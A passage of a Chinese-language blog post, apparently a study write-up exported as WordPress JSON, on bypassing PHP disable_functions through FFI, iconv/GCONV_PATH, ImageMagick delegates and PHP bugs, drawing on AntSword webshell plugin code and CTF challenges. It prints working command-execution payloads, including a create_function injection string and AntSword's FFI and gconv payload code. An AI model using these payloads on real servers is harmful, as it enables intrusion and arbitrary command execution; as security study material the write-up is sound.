@file_get_contents($tmp);\nunlink($tmp);`\n            }\n          }\n        });\n      } else {\n        new antSword.module.terminal(self.top.opt, {\n          exec: (arg = {\n            bin: '\/bin\/bash',\n            cmd: ''\n          }) =&gt; {\n            return {\n              _: `$tmp = tempnam(sys_get_temp_dir(), 'as');\n$cmd = \"${arg['bin']} -c \\\\\\\"\".@base64_decode(\"${Buffer.from(arg['cmd']).toString('base64')}\").\"\\\\\\\"\".\" &gt; \".$tmp.\" 2&gt;&amp;1\";\n$ffi = FFI::cdef(\"int system(const char *command);\");\n$ffi-&gt;system($cmd);\necho @file_get_contents($tmp);\nunlink($tmp);`\n            }\n          }\n        });\n      }\n    })\n<\/code><\/pre>\n<p>\u5728 [\u6781\u5ba2\u5927\u6311\u6218 2020]Roamphp5-FighterFightsInvincibly \u91cc\u51fa\u8fc7\u8fd9\u4e2a\u8003\u70b9<\/p>\n<pre data-language=\"HTML\"><code class=\"language-markup line-numbers\">&lt;!-- $_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); --&gt;\n<\/code><\/pre>\n<p>\u5178\u578b\u7684<code>create_function()<\/code>\u6267\u884c\uff0c<code>?fighter=create_function&amp;fights=&amp;invincibly=;}phpinfo();\/\/<\/code><\/p>\n<pre><code class=\"language-shell line-numbers\">disable_functions=system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,stream_socket_client,ftp_connect,ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname\n\nffi.enable=On\nffi.preload=no value\n<\/code><\/pre>\n<p>\u8fd9\u9053\u9898\u76ee\u5b83\u65e2\u6ca1\u6709\u5199\u6587\u4ef6\u7684\u6743\u9650\uff0c\u540c\u65f6\u4e5f\u4e0d\u51fa\u7f51\uff0c\u4e00\u79cd\u65b9\u6cd5\u662f\u5229\u7528 <code>popen()<\/code>\u4ece\u7ba1\u9053\u8bfb\u53d6\u7ed3\u679c\uff0c\u53e6\u5916\u4e00\u79cd\u662f\u8c03\u7528 PHP \u6e90\u7801\u4e2d\u7684\u51fd\u6570<code>php_exec<\/code>\uff0c\u8fd9\u4e2a\u5e94\u8be5\u662f<code>exec()\/system()\/passthru()<\/code>\u7684\u5e95\u5c42\u5b9e\u73b0\u5427<\/p>\n<pre><code class=\"language-c line-numbers\">\/* {{{ php_exec\n * If type==0, only last line of output is returned (exec)\n * If type==1, all lines will be printed and last lined returned (system)\n * If type==2, all lines will be saved to given array (exec with &amp;$array)\n * If type==3, output will be printed binary, no lines will be saved or returned (passthru)\n *\n *\/\nPHPAPI int php_exec(int type, const char *cmd, zval *array, zval *return_value)\n{\n    FILE *fp;\n    char *buf;\n    int pclose_return;\n    char *b, *d=NULL;\n    php_stream *stream;\n    size_t buflen, bufl = 0;\n    ...\n    }\n<\/code><\/pre>\n<p>\u6240\u4ee5\u8ba9 type \u4e3a 3 \u5c31\u53ef\u4ee5\uff0c<code>$ffi = FFI::cdef(&quot;int php_exec(int type, char <em>cmd);&quot;);$ffi-&gt;php_exec(3,&quot;ls \/&quot;);\/<\/em><\/code><\/p>\n<hr \/>\n<h2>10.\u5229\u7528 iconv<\/h2>\n<hr \/>\n<h3>\u4f7f\u7528\u6761\u4ef6\uff1a<\/h3>\n<ul><li>Linux \u64cd\u4f5c\u7cfb\u7edf<\/li>\n<li><code>putenv<\/code><\/li>\n<li><code>iconv<\/code><\/li>\n<li>\u5b58\u5728\u53ef\u5199\u7684\u76ee\u5f55, \u9700\u8981\u4e0a\u4f20<code>.so<\/code>\u6587\u4ef6<\/li>\n<\/ul>\n<h3>\u65b9\u6cd5\u539f\u7406\uff1a<\/h3>\n<p>\u8fd9\u4e2a\u76f8\u6bd4\u4e8e\u7b2c\u4e00\u4e2a\u5229\u7528<code>LD_PRELOAD<\/code>\uff0c\u628a<code>error_log()<\/code>\u7981\u4e86\uff0c\u5927\u90e8\u5206\u7684\u6587\u7ae0\u7ed9\u51fa\u7684\u539f\u7406\u662f<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/hugeh0ge.github.io\/2019\/11\/04\/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument\/\" title=\"\u8fd9\u7bc7\u6587\u7ae0\">\u8fd9\u7bc7\u6587\u7ae0<\/a>\uff0c\u76f8\u4f3c\u539f\u7406\u7684\u6f0f\u6d1e\u662f CVE-2021-4034\uff08<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/10870\" title=\"\u300aCVE-2021-4034 \u6df1\u5165\u5206\u6790\u53ca\u6f0f\u6d1e\u590d\u73b0\u300b\">\u300aCVE-2021-4034 \u6df1\u5165\u5206\u6790\u53ca\u6f0f\u6d1e\u590d\u73b0\u300b<\/a>\u3001<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/10905\" title=\"\u300aCVE-2021-4034 pkexec\u518d\u6df1\u5165\u5206\u6790\u300b\">\u300aCVE-2021-4034 pkexec\u518d\u6df1\u5165\u5206\u6790\u300b<\/a>\uff09<\/p>\n<p>\u9996\u5148\u662f<code>iconv<\/code>\uff0c\u4ee5\u53ca<code>iconv()<\/code>\u548c<code>iconv_open()<\/code>\u7684\u5173\u7cfb\u53ef\u4ee5\u770b<a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/man7.org\/linux\/man-pages\/man1\/iconv.1.html\" title=\"\u8fd9\u4e2a\">\u8fd9\u4e2a<\/a><\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_997241f4eda14b1a4d0e420315fea966.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_997241f4eda14b1a4d0e420315fea966.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_b420dd1fed6c6e9f70947ee4e2d6ee52.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/11\/wp_editor_md_b420dd1fed6c6e9f70947ee4e2d6ee52.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u5728 PHP \u91cc\u8c03\u7528<code>iconv()<\/code>\u53ca\u76f8\u5173\u51fd\u6570\u65f6\uff0c\u4f1a\u5230 glibc \u91cc\u8c03\u7528<code>iconv<\/code>\uff0c<code>iconv()<\/code>\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u5148\u901a\u8fc7\u8c03\u7528<code>iconv_open()<\/code>\u521b\u5efa\u7684\uff0c\u800c<code>iconv_open()<\/code>\u51fd\u6570\u5728\u8c03\u7528\u65f6\u9996\u5148\u4f1a\u627e\u5230\u7cfb\u7edf\u63d0\u4f9b\u7684<code>gconv-modules<\/code>\u914d\u7f6e\u6587\u4ef6\uff0c\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u5305\u542b\u4e86\u5404\u4e2a\u5b57\u7b26\u96c6\u7684\u76f8\u5173\u4fe1\u606f\u5b58\u50a8\u7684\u8def\u5f84\uff0c\u6bcf\u4e2a\u5b57\u7b26\u96c6\u7684\u76f8\u5173\u4fe1\u606f\u5b58\u50a8\u5728\u4e00\u4e2a .so \u6587\u4ef6\u4e2d\uff0c\u5373<code>gconv-modules<\/code>\u6587\u4ef6\u63d0\u4f9b\u4e86\u5404\u4e2a\u5b57\u7b26\u96c6\u7684 .so \u6587\u4ef6\u6240\u5728\u4f4d\u7f6e\uff0c\u4e4b\u540e\u4f1a\u8c03\u7528 .so \u6587\u4ef6\u4e2d\u7684<code>gconv()<\/code>\u4e0e<code>gonv_init()<\/code>\u51fd\u6570<\/p>\n<p>\u6240\u4ee5\u601d\u8def\u5176\u5b9e\u5c31\u6253\u5f00\u4e86\uff0c\u548c LD \u7c7b\u4f3c\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u6539\u7684\u662f<code>GCONV_PATH<\/code>\uff0c\u4e0a\u4f20<code>gconv-modules<\/code>\u6587\u4ef6\uff0c\u6587\u4ef6\u4e2d\u6307\u5b9a\u4e0a\u4f20\u7684 .so \u6587\u4ef6\uff0c\u7136\u540e<code>put_env()<\/code>\u5c06<code>GCONV_PATH<\/code>\u6307\u5411<code>gconv-modules<\/code>\u6587\u4ef6\uff0c\u7136\u540e\u4f7f\u7528<code>iconv<\/code>\u89e6\u53d1\u6267\u884c<\/p>\n<p>\u8681\u5251\u4e5f\u662f\u8fd9\u6837\u505a\u7684\uff0c\u5f53\u7136\u8681\u5251\u4e5f\u5229\u7528\u4e86<code>php:\/\/filter<\/code>\u4f2a\u534f\u8bae\uff0c\u6ca1\u5565\u95ee\u9898<\/p>\n<pre><code class=\"language-javascript line-numbers\">new Promise((res, rej) =&gt; {}\n.then((p) =&gt; {\n        \/\/ \u89e6\u53d1 payload, \u4f1a\u8d85\u65f6\n        var payloaddir = path.dirname(p);\n        var gconvmodules_payload = `module  PAYLOAD\/\/    INTERNAL    ..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..${p.substring(0,p.length-3)}    2\nmodule  INTERNAL    PAYLOAD\/\/    ..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..${p.substring(0,p.length-3)}    2\n`;\n        var gconvmodules = Buffer.from(gconvmodules_payload).toString('base64');\n        var payload = `file_put_contents(\"${payloaddir}\/gconv-modules\",base64_decode(\"${gconvmodules}\"));\nputenv(\"GCONV_PATH=${payloaddir}\");\nif(function_exists('iconv')){\n  iconv(\"payload\",\"UTF-8\",\"whatever\");\n}else if(function_exists('iconv_strlen')){\n  iconv_strlen(\"1\",\"payload\");\n}else if(function_exists('file_get_contents')){\n  @file_get_contents(\"php:\/\/filter\/convert.iconv.payload.UTF-8\/resource=data:\/\/text\/plain;base64,MQ==\");\n}else{\n  @fopen('php:\/\/filter\/convert.iconv.payload.UTF-8\/resource=data:\/\/text\/plain;base64,MQ==','r');\n};\necho(1);`;\n        core.request({\n          _: payload,\n        }).then((response) =&gt; {\n\n        }).catch((err) =&gt; {\n          \/\/ \u8d85\u65f6\u4e5f\u662f\u6b63\u5e38\n        })\n      })\n<\/code><\/pre>\n<hr \/>\n<h2>11.ImageMagick<\/h2>\n<hr \/>\n<p>\u7528 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/xz.aliyun.com\/t\/4589\" title=\"[0ctf Wallbreaker Easy]\">[0ctf Wallbreaker Easy]<\/a> \u8fd9\u9053\u9898\u76ee\u5b66\u4e60\u4e00\u4e0b<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_95d5e59942d76aafebd955ebb60fca2d.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_95d5e59942d76aafebd955ebb60fca2d.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p><code>phpinfo()<\/code>\u662f\u53ef\u4ee5\u770b\u89c1<code>imagick<\/code>\u548c<code>disable_functions<\/code>\u76f8\u5173\u4fe1\u606f\u7684\uff0c\u7a81\u7834\u9650\u5236\u7684\u539f\u7406\u53c2\u8003 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/www.leavesongs.com\/PENETRATION\/CVE-2016-3714-ImageMagick.html\" title=\"P\u795e\u7684\u6587\u7ae0\">P\u795e\u7684\u6587\u7ae0<\/a><\/p>\n<blockquote>\n  ImageMagick \u6709\u4e00\u4e2a\u529f\u80fd\u53eb\u505a delegate\uff08\u59d4\u6258\uff09\uff0c\u4f5c\u7528\u662f\u8c03\u7528\u5916\u90e8\u7684lib\u6765\u5904\u7406\u6587\u4ef6\u3002\u800c\u8c03\u7528\u5916\u90e8lib\u7684\u8fc7\u7a0b\u662f\u4f7f\u7528\u7cfb\u7edf\u7684<code>system<\/code>\u547d\u4ee4\u6765\u6267\u884c\u7684\uff08 https:\/\/github.com\/ImageMagick\/ImageMagick\/blob\/e93e339c0a44cec16c08d78241f7aa3754485004\/MagickCore\/delegate.c#L347 \uff09\n<\/blockquote>\n<p>\u5148\u7528 UAF \u7684\u63d2\u4ef6\u6253\u8fdb\u53bb\u770b\u4e86\u4e0b<code>delegates.xml | grep \/bin<\/code><\/p>\n<pre data-language=\"HTML\"><code class=\"language-markup line-numbers\">&lt;delegate decode=\"browse\" stealth=\"True\" spawn=\"True\" command=\"\"xdg-open\" http:\/\/www.imagemagick.org\/; \/bin\/rm \"%i\"\"\/&gt;\n  &lt;delegate decode=\"cdr\" command=\"\"uniconvertor\" \"%i\" \"%o.svg\"; \/bin\/mv \"%o.svg\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"cgm\" command=\"\"uniconvertor\" \"%i\" \"%o.svg\"; \/bin\/mv \"%o.svg\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"doc\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"docx\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"dxf\" command=\"\"uniconvertor\" \"%i\" \"%o.svg\"; \/bin\/mv \"%o.svg\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"fig\" command=\"\"uniconvertor\" \"%i\" \"%o.svg\"; \/bin\/mv \"%o.svg\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"hpg\" command=\"\"hp2xx\" -sstdout=%%stderr -m eps -f `basename \"%o\"` \"%i\";     \/bin\/mv -f `basename \"%o\"` \"%o\"\"\/&gt;\n  &lt;delegate decode=\"hpgl\" command=\"\"hp2xx\" -sstdout=%%stderr -m eps -f `basename \"%o\"` \"%i\";     \/bin\/mv -f `basename \"%o\"` \"%o\"\"\/&gt;\n  &lt;delegate decode=\"jxr\" command=\"\/bin\/mv \"%i\" \"%i.jxr\"; \"JxrDecApp\" -i \"%i.jxr\" -o \"%o.bmp\" -c 0; \/bin\/mv \"%i.jxr\" \"%i\"; \/bin\/mv \"%o.bmp\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"odt\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"bmp\" encode=\"jxr\" command=\"\/bin\/mv \"%i\" \"%i.bmp\"; \"JxrEncApp\" -i \"%i.bmp\" -o \"%o.jxr\"; \/bin\/mv \"%i.bmp\" \"%i\"; \/bin\/mv \"%o.jxr\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"bmp\" encode=\"wdp\" command=\"\/bin\/mv \"%i\" \"%i.bmp\"; \"JxrEncApp\" -i \"%i.bmp\" -o \"%o.jxr\"; \/bin\/mv \"%i.bmp\" \"%i\"; \/bin\/mv \"%o.jxr\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"ppt\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"pptx\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"wdp\" command=\"\/bin\/mv \"%i\" \"%i.jxr\"; \"JxrDecApp\" -i \"%i.jxr\" -o \"%o.bmp\"; \/bin\/mv \"%i.jxr\" \"%i\"; \/bin\/mv \"%o.bmp\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"xls\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n  &lt;delegate decode=\"xlsx\" command=\"\"soffice\" --convert-to pdf -outdir `dirname \"%i\"` \"%i\" 2&gt; \"%u\"; \/bin\/mv \"%i.pdf\" \"%o\"\"\/&gt;\n<\/code><\/pre>\n<p>wp \u91cc\u9762\u5199\u7684\u539f\u7406\u662f\u5229\u7528\u8fd9\u7c7b\u8c03\u7528\u5185\u90e8\u547d\u4ee4<code>\/bin\/mv<\/code>\u7684\u8f6c\u6362\uff0c\u89e6\u53d1\u65b0\u8fdb\u7a0b\u7684\u4ea7\u751f, \u5e76\u901a\u8fc7\u4fee\u6539 LD_PRELOAD \u7684\u65b9\u5f0f\u6765\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4<\/p>\n<pre><code class=\"language-php line-numbers\">&lt;?php\n\n$a=new Imagick();\n$a-&gt;readImage('123.png');\n$a-&gt;writeImage('sad.wdp');  \/\/\u89e6\u53d1\u65b0\u8fdb\u7a0b\n\n?&gt;\n<\/code><\/pre>\n<p>\u5229\u7528\u94fe\u5c31\u662f\u5728 \/tmp\/XXX \u76ee\u5f55\u4e0b\u5199\u5165 .so\uff0c\u8c03\u7528<code>putenv()<\/code>\u8bbe\u7f6e\u8def\u5f84\uff0c\u6700\u540e<code>new Imagick()-&gt;writeImage(xxx.wdp);<\/code>\u5b8c\u6210\u6267\u884c<\/p>\n<p>\u518d\u770b\u4e0b CVE \u90a3\u8fb9\u7684\u5904\u7406\uff0c\u662f\u5229\u7528\u4e86 https \u7684\u59d4\u6258<\/p>\n<pre data-language=\"HTML\"><code class=\"language-markup line-numbers\">&lt;delegate decode=\"https\" command=\"\"curl\" -s -k -L -o \"%o\" \"https:%M\"\"\/&gt;\n<\/code><\/pre>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_cc2e048fbcb4c0d9286b1dc4a4f9fb89.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_cc2e048fbcb4c0d9286b1dc4a4f9fb89.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p>\u811a\u672c\u53ef\u4ee5\u53c2\u8003\u6700\u5f00\u59cb\u7684\u51e0\u7bc7\u6587\u7ae0<\/p>\n<hr \/>\n<h2>12.Others<\/h2>\n<hr \/>\n<p><code>pcntl<\/code>\u7684\u5229\u7528\u4e5f\u6bd4\u8f83\u7b80\u5355\uff0c\u4f46\u662f\u6211\u611f\u89c9\u4e00\u822c\u7981\u7528<code>system<\/code>\u8fd9\u4e9b\uff0c<code>pcntl<\/code>\u4e5f\u4e0d\u4f1a\u653e\u8fc7<\/p>\n<p>\u5728\u8681\u5251\u7684 core \u4e0b\uff0c\u8fd8\u6709\u4e24\u4e2a\u5229\u7528\uff0c\u5206\u522b\u662f\u57fa\u4e8e<code>php_use_filter<\/code>\u7684 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=54350\" title=\"Bug #54350\">Bug #54350<\/a> \u548c\u57fa\u4e8e<code>ReflectionProperty UAF<\/code>\u7684 <a class=\"wp-editor-md-post-content-link\" href=\"https:\/\/bugs.php.net\/bug.php?id=79820\" title=\"Bug #79820\">Bug #79820<\/a><\/p>\n<p>\u7b2c\u4e8c\u4e2a\u5728 [2020\u7f8a\u57ce\u676f] \u8003\u5bdf\u8fc7<\/p>\n<hr \/>\n<p>\u6700\u540e\uff0c\u9ed8\u54c0\ud83d\udd6f<\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_47436df01c07a891069cbed5904a66c1.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_47436df01c07a891069cbed5904a66c1.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>\n<p><strong>\u7f51\u7edc\u4fe1\u606f\u5b89\u5168\u8d23\u4efb\u91cd\u5927 \u4f7f\u547d\u5149\u8363<\/strong><\/p>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_53b09f03f274f89d0bc8354ff107f125.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/119.45.47.125\/wp-content\/uploads\/2022\/12\/wp_editor_md_53b09f03f274f89d0bc8354ff107f125.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" \/><\/div>","protected":false},"excerpt":{"rendered":"\u53c2\u8003\u6587\u7ae0 bypass disable_function\u591a\u79cd\u65b9\u6cd5+\u5b9e\u4f8b bypass disable_func [&hellip;]","protected":false},"author":1,"featured_media":479,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[32,26],"tags":[33],"class_list":["post-537","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-antsword","category-study","tag-antsword"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/119.45.47.125\/wp-content\/uploads\/2022\/11\/1.webp?fit=720%2C388","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/537","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/comments?post=537"}],"version-history":[{"count":22,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/537\/revisions"}],"predecessor-version":[{"id":600,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/537\/revisions\/600"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media\/479"}],"wp:attachment":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media?parent=537"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/categories?post=537"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/tags?post=537"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}